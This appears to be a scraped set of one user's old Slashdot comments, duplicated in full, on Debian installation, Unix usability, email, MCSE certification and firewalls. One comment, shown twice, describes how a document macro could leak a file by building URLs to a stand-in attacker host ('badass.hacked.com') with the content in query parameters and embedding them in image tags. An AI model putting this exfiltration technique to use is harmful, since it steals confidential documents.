but cant anyone just run an smtp server? does username@ipnumber not work as an address? I figured that it does, as it would only look at mx records if its user@hostname.
That sounds pretty peer to peer to me. Besides, as long as it's done using pgp, or gpg, or 3des (altho then you'd lose the public key advantage of signing), or whatever, it's unlikely that anyone is going to be able to decode it without the key. I wouldnt be too worried about sending an encoded message via normal smtp channels. If it's routed thru the internet, something listenin to packets in the right place will see it. Sending it thru ftp or some proprietary system just sounds like obscurity.
the package and paragraph thing is exactly what debian's deselect does. It also displays currently installed version, the version that's available from your package sources, etc.
I've been using debian since kernel 2.0.30 came out. (came out, not included in distribution). I've installed it time and time again, and each time, the installer has been fairly consistant. I wouldnt mind them changing it, as long as they make it as flexable as the current one.
Although I cant really complain about debian's install, I can suggest some things that would have helped me out on some occasions.
1. the ability to install files from an ftp server, or an http server, or something like that. (looks like it's going to happen so far as the draft indicates)
2. a little bit more flexability in kernel module selection. More modules in the list, more organization, more explanation, more indication of what info the module may need, etc. A really nice thing would be an index of what hardware uses what module - for example, turtle beach tropez plus uses the crystal audio sound driver, etc.
3. maybe a documentation disk - should contain some of the kernel docs, some walk through, etc.
4. maybe a utility disk that contains a few more utilities - a partition resizer, command line ftp, lynx, etc
5. the ability to pause an install - maybe save it to a diskette?
6. better handling of bad media. it sucks to be installing the base system, and the last floppy is broken, and you've got to start all over again (see point 5)
7. default to security. dont install services by default, no matter what package group the person selects.
8. the 'task' packages should be listed seperately - it sucks to have to scroll thru pages of package lists when you're not sure what sorts of things that you're interested in... maybe some sorta shortcuts/links to package catagories (ie games-nonfree or something)
Thats about all that i can think of. I'm not really complaining, but these could make my life easier sometimes - not that i couldnt create them myself, but when they're part of the distribution media, its easier.
I find that unix isnt actually that un-user friendly... if you stuck a person with no computer experience infront of a computer, and said, here, I've got these windows 2000 cabs n stuff over on this hard disk, on this computer over here... now, install windows 2000 for me from scratch... its just not going to happen. Stick someone infront of a puter and say, "here, here are the install files for linux, go for it", again, not going to happen. If you compare user experiences between windows and a full running gnome or kde setup, you're going to get similar experiences. What makes unix hard, is the fact that it doesnt come pre-installed... it makes you learn it from the ground up, instead of the top down - the way that most people learn windows.
People accumulate knowledge, and draw connections between bits of knowledge. If you have many bits of knowledge, and no connections, you're going to feel really dumb and confused. If you dont have a lot of knowledge, but really know how it all fits togeather, you dont feel really stupid, and you feel comfortable. When you learn something like windows from the gui down, you get to learn the most basic behavior of software. Just like you can be familiar with your body, without having a PHD in biology. A preinstalled OS lets you get comfortable before you go rooting down in the more technical areas. When you start from the bottom, you are exposed to a huge amount of information - you dont understand the context of it, and thus cant draw relationships. You get confused, and feel stupid, and blame the OS for being complicated and not user friendly.
How many windows users know how to partition, and format a hdd, then install an OS on it? Not many.
Unfortunatly, your compiled code and the compiled plug in code would likely be almost identical, and identifiable. Now, if you obfuscated the code somewhat before compiling, then you could cloud the issue a little.
If you dont want to get spam, you should put a message filter into your mail reader or install some filtering proxy software. The ISP should not be responcible for doing it, especially if you have not asked them to do it for you.
oh god. heh, where I'm living, in southwestern ontario, you pay ~700 CANADIAN a month for a pretty new townhouse, 3 bedroom, 2 bath, kitchen, etc, in a pretty good area close to most ammenities.
While it's true that there are a lot of paper MCSEs out there, not all MCSEs are idiots, and it's not fair to say that they are. I HATE windows - if I use windows, I start getting this deep frustration... yet I will soon be an MCSE. Computers are more than a hobby to me, I'd like to make it my profession. Does MCSE certification invalidate a PhD in computer science? Stop being so silly - Windows is popular with business, and if you're going to work in the technology industry, although not all jobs require it, it helps to know what you're working with, even if you hate it.
I realize that the original poster made only a slight anti-mcse comment, but already there are responces reinforcing it. It's counter productive.
On the contrary, if a document can access a url, a macro can build a URL containing the content of the document (at least, it could do it in parts, as a long document wouldnt probably fit in a 'get' method) Think, http://badass.hacked.com/recordfiles.cgi?from=your host.yourdomain.com&title=Confidential&p art=1&content=the%20first%20part%20of%20your%20doc ument
have the macro embed like, 50 of these in image tags, and bingo, the thing just uploaded your document to an attackers system. It'd be even easier to do if the macro has the ability to do post methods.
And what about the people who arent american, who have.com addresses? As well, as another poster pointed out, the net isnt geographical - a lot of.coms want to do international business.
It's not one judge - it was congress that passed the law that the judge is enforcing. Congress already stepped all over your rights - the judge is just making sure that what is deemed to be law is followed and enforced.
I can just hear it now - people trying to have cybersex at cybercafe computers...
Re:drawing the line, the Microsoft way
on
Is UNIX An OS?
·
· Score: 2
Thats exactly what im trying to say. To me, an OS is a kernel. A kernel alone isnt very useful to most people, but that's okay. It's all just semantics anyway:)
In unix, no one is forced into any particular UI... but, for a computer to be useful, it must have a UI so that a user may interact with it - thus, if a user wishes to interact, they must use an interface. Most dists ship with a sort of default UI (bash and gnome+sawfish, or something like that) and unless the user is dissatisfied, they will likely stick with it. I dont see any forcing into any PARTICULAR interface, but a user will always be forced to use some interface.
Already the line has been pushed to shell and basic sys utilities like fdisk, etc. Now the line is being pushed to include other things gui systems, window managers, etc? When will an OS consist of EVERYTHING? Since when do you need a shell to run programs? or even init? You can hard code an application program to be run right out of the kernel if that's all that a box needs to do.
To me, this guy is playing with words, and not actually comming to any useful conclusions. Sure, by his standards, unix is not an OS... but what's the problem with an OS just being a kernel? What's the problem with calling an application an application, and the entire collection of apps and OS a computer system, or workstation? or something else?
Why shouldnt an engine, transmission, etc, on a chassis be called a car if it can drive somewhere? What if I dont want a body on my car? What if I dont need one (maybe for an indoor example of how a car's internals look?). If a car doesnt come with a CD player, it's still a car isnt it? To refute the author's point that a web browser will become part of the OS because other apps will depend on it - if I want to listen to CDs and the car doesnt come with a CD player, does that make it not a car? Come on.
Stop trying to redefine language when it already works. Besides, how long does someone run a unix box with absolutly nothing installed past the kernel and shell anyway? This article is a trolling waste of time.
If you ask me, I'm not sure I want to have huge icons, inline rendering of images, crazy mp3 player integration, and all that stuff. Now, something really cool, would be some sort of xml based info reporting scheme that let something like a file browser ask the program that handles the mime type of a file to give it some info about the file. Something like, mpeginfo filename.mp3 returning bitrate, length, id3 tags, etc. Or imageInfo image.xcf returning the number of layers, colour (rgb/indexed/etc), dimensions, compression ratio, etc. Then integrating that info with the file browser. I'd be into that:)
I doubt that I explained myself too well:) But I hope that people get the idea. It would amount to adding a new field for mime types - something like 'info program' or something. Then, for each mime type, a simple info gathering program could be written based on available libs. Should be fairly easy to do. I wouldnt mind seeing the rendered image, etc, if I click 'more info' or something, but the varying dimensions of images could make viewing look 'unbalanced'.
This is going to make distribution of galeon and other bits of software so much more simple. Thank you mozilla!:)
So far, I feel that I'm going to get the most value out of mozilla's parts, rather than the mozilla browser/communicator type thing that they're making.
The best way to combat open TCP ports is to deny all incomming packets with the syn flag set by default, and then only let in the ones that I want. However, what do you do with UDP? I'm not even exactly sure what uses it. DNS? Some ICQ stuff? some echos? Any pointers in particular?
now there's an opportunity for people to deny email service... just plug the.guy@i.dont.like.com into the spamnet and the guy isnt able to send email to anyone. bad idea.
on the contrary, a person who is a spokes person for a large news organization is given a huge ammount of trust... most readers will take his conclusions as truth (incorrectly) but the fact is that he's being irrisponcible. He has just the same right to say something false or unfounded as I do, but what I say isnt automatically assumed to be true by most people who read it. The news organization needs to watch for integrety of it's articles, or else they risk turning into the Weekly World News.
What's even more stupid, is that they dont seem to be planning to release source. How can they describe it's workings any better than source? Are they not supposed to make full disclousure? Somehow, I doubt a descriptive essay is going to include all of carnivores bugs etc that could be used to violate people's privacy, etc.
I set up a hotmail account to test a problem someone was having recieving mail from hotmail, and I kept getting internal server errors. I think that they should concentrate on fixing their software before they try to fix something that's not actually broken. Silly.
Slashdot Mirror
but cant anyone just run an smtp server? does username@ipnumber not work as an address? I figured that it does, as it would only look at mx records if its user@hostname.
That sounds pretty peer to peer to me. Besides, as long as it's done using pgp, or gpg, or 3des (altho then you'd lose the public key advantage of signing), or whatever, it's unlikely that anyone is going to be able to decode it without the key. I wouldnt be too worried about sending an encoded message via normal smtp channels. If it's routed thru the internet, something listenin to packets in the right place will see it. Sending it thru ftp or some proprietary system just sounds like obscurity.
the package and paragraph thing is exactly what debian's deselect does. It also displays currently installed version, the version that's available from your package sources, etc.
I've been using debian since kernel 2.0.30 came out. (came out, not included in distribution). I've installed it time and time again, and each time, the installer has been fairly consistant. I wouldnt mind them changing it, as long as they make it as flexable as the current one.
Although I cant really complain about debian's install, I can suggest some things that would have helped me out on some occasions.
1. the ability to install files from an ftp server, or an http server, or something like that. (looks like it's going to happen so far as the draft indicates)
2. a little bit more flexability in kernel module selection. More modules in the list, more organization, more explanation, more indication of what info the module may need, etc. A really nice thing would be an index of what hardware uses what module - for example, turtle beach tropez plus uses the crystal audio sound driver, etc.
3. maybe a documentation disk - should contain some of the kernel docs, some walk through, etc.
4. maybe a utility disk that contains a few more utilities - a partition resizer, command line ftp, lynx, etc
5. the ability to pause an install - maybe save it to a diskette?
6. better handling of bad media. it sucks to be installing the base system, and the last floppy is broken, and you've got to start all over again (see point 5)
7. default to security. dont install services by default, no matter what package group the person selects.
8. the 'task' packages should be listed seperately - it sucks to have to scroll thru pages of package lists when you're not sure what sorts of things that you're interested in... maybe some sorta shortcuts/links to package catagories (ie games-nonfree or something)
Thats about all that i can think of. I'm not really complaining, but these could make my life easier sometimes - not that i couldnt create them myself, but when they're part of the distribution media, its easier.
I find that unix isnt actually that un-user friendly... if you stuck a person with no computer experience infront of a computer, and said, here, I've got these windows 2000 cabs n stuff over on this hard disk, on this computer over here... now, install windows 2000 for me from scratch... its just not going to happen. Stick someone infront of a puter and say, "here, here are the install files for linux, go for it", again, not going to happen. If you compare user experiences between windows and a full running gnome or kde setup, you're going to get similar experiences. What makes unix hard, is the fact that it doesnt come pre-installed... it makes you learn it from the ground up, instead of the top down - the way that most people learn windows.
People accumulate knowledge, and draw connections between bits of knowledge. If you have many bits of knowledge, and no connections, you're going to feel really dumb and confused. If you dont have a lot of knowledge, but really know how it all fits togeather, you dont feel really stupid, and you feel comfortable. When you learn something like windows from the gui down, you get to learn the most basic behavior of software. Just like you can be familiar with your body, without having a PHD in biology. A preinstalled OS lets you get comfortable before you go rooting down in the more technical areas. When you start from the bottom, you are exposed to a huge amount of information - you dont understand the context of it, and thus cant draw relationships. You get confused, and feel stupid, and blame the OS for being complicated and not user friendly.
How many windows users know how to partition, and format a hdd, then install an OS on it? Not many.
I've read your responces, and the good points that you make. I've changed my mind :)
Unfortunatly, your compiled code and the compiled plug in code would likely be almost identical, and identifiable. Now, if you obfuscated the code somewhat before compiling, then you could cloud the issue a little.
If you dont want to get spam, you should put a message filter into your mail reader or install some filtering proxy software. The ISP should not be responcible for doing it, especially if you have not asked them to do it for you.
oh god. heh, where I'm living, in southwestern ontario, you pay ~700 CANADIAN a month for a pretty new townhouse, 3 bedroom, 2 bath, kitchen, etc, in a pretty good area close to most ammenities.
While it's true that there are a lot of paper MCSEs out there, not all MCSEs are idiots, and it's not fair to say that they are. I HATE windows - if I use windows, I start getting this deep frustration... yet I will soon be an MCSE. Computers are more than a hobby to me, I'd like to make it my profession. Does MCSE certification invalidate a PhD in computer science? Stop being so silly - Windows is popular with business, and if you're going to work in the technology industry, although not all jobs require it, it helps to know what you're working with, even if you hate it.
I realize that the original poster made only a slight anti-mcse comment, but already there are responces reinforcing it. It's counter productive.
On the contrary, if a document can access a url, a macro can build a URL containing the content of the document (at least, it could do it in parts, as a long document wouldnt probably fit in a 'get' method) Think, http://badass.hacked.com/recordfiles.cgi?from=your host.yourdomain.com&title=Confidential&p art=1&content=the%20first%20part%20of%20your%20doc ument
have the macro embed like, 50 of these in image tags, and bingo, the thing just uploaded your document to an attackers system. It'd be even easier to do if the macro has the ability to do post methods.
Why is a several page proof necessary for a 10 line function? Should the function not be self explanatory if it's that short?
And what about the people who arent american, who have .com addresses? As well, as another poster pointed out, the net isnt geographical - a lot of .coms want to do international business.
It's not one judge - it was congress that passed the law that the judge is enforcing. Congress already stepped all over your rights - the judge is just making sure that what is deemed to be law is followed and enforced.
I can just hear it now - people trying to have cybersex at cybercafe computers...
Thats exactly what im trying to say. To me, an OS is a kernel. A kernel alone isnt very useful to most people, but that's okay. It's all just semantics anyway :)
Not to support Windows, but, there is Lightstep for windows to give a different GUI.
In unix, no one is forced into any particular UI... but, for a computer to be useful, it must have a UI so that a user may interact with it - thus, if a user wishes to interact, they must use an interface. Most dists ship with a sort of default UI (bash and gnome+sawfish, or something like that) and unless the user is dissatisfied, they will likely stick with it. I dont see any forcing into any PARTICULAR interface, but a user will always be forced to use some interface.
Already the line has been pushed to shell and basic sys utilities like fdisk, etc. Now the line is being pushed to include other things gui systems, window managers, etc? When will an OS consist of EVERYTHING? Since when do you need a shell to run programs? or even init? You can hard code an application program to be run right out of the kernel if that's all that a box needs to do.
To me, this guy is playing with words, and not actually comming to any useful conclusions. Sure, by his standards, unix is not an OS... but what's the problem with an OS just being a kernel? What's the problem with calling an application an application, and the entire collection of apps and OS a computer system, or workstation? or something else?
Why shouldnt an engine, transmission, etc, on a chassis be called a car if it can drive somewhere? What if I dont want a body on my car? What if I dont need one (maybe for an indoor example of how a car's internals look?). If a car doesnt come with a CD player, it's still a car isnt it? To refute the author's point that a web browser will become part of the OS because other apps will depend on it - if I want to listen to CDs and the car doesnt come with a CD player, does that make it not a car? Come on.
Stop trying to redefine language when it already works. Besides, how long does someone run a unix box with absolutly nothing installed past the kernel and shell anyway? This article is a trolling waste of time.
If you ask me, I'm not sure I want to have huge icons, inline rendering of images, crazy mp3 player integration, and all that stuff. Now, something really cool, would be some sort of xml based info reporting scheme that let something like a file browser ask the program that handles the mime type of a file to give it some info about the file. Something like, mpeginfo filename.mp3 returning bitrate, length, id3 tags, etc. Or imageInfo image.xcf returning the number of layers, colour (rgb/indexed/etc), dimensions, compression ratio, etc. Then integrating that info with the file browser. I'd be into that :)
:) But I hope that people get the idea. It would amount to adding a new field for mime types - something like 'info program' or something. Then, for each mime type, a simple info gathering program could be written based on available libs. Should be fairly easy to do. I wouldnt mind seeing the rendered image, etc, if I click 'more info' or something, but the varying dimensions of images could make viewing look 'unbalanced'.
I doubt that I explained myself too well
This is going to make distribution of galeon and other bits of software so much more simple. Thank you mozilla! :)
So far, I feel that I'm going to get the most value out of mozilla's parts, rather than the mozilla browser/communicator type thing that they're making.
The best way to combat open TCP ports is to deny all incomming packets with the syn flag set by default, and then only let in the ones that I want. However, what do you do with UDP? I'm not even exactly sure what uses it. DNS? Some ICQ stuff? some echos? Any pointers in particular?
:)
Thanks
now there's an opportunity for people to deny email service... just plug the.guy@i.dont.like.com into the spamnet and the guy isnt able to send email to anyone. bad idea.
on the contrary, a person who is a spokes person for a large news organization is given a huge ammount of trust... most readers will take his conclusions as truth (incorrectly) but the fact is that he's being irrisponcible. He has just the same right to say something false or unfounded as I do, but what I say isnt automatically assumed to be true by most people who read it. The news organization needs to watch for integrety of it's articles, or else they risk turning into the Weekly World News.
What's even more stupid, is that they dont seem to be planning to release source. How can they describe it's workings any better than source? Are they not supposed to make full disclousure? Somehow, I doubt a descriptive essay is going to include all of carnivores bugs etc that could be used to violate people's privacy, etc.
I set up a hotmail account to test a problem someone was having recieving mail from hotmail, and I kept getting internal server errors. I think that they should concentrate on fixing their software before they try to fix something that's not actually broken. Silly.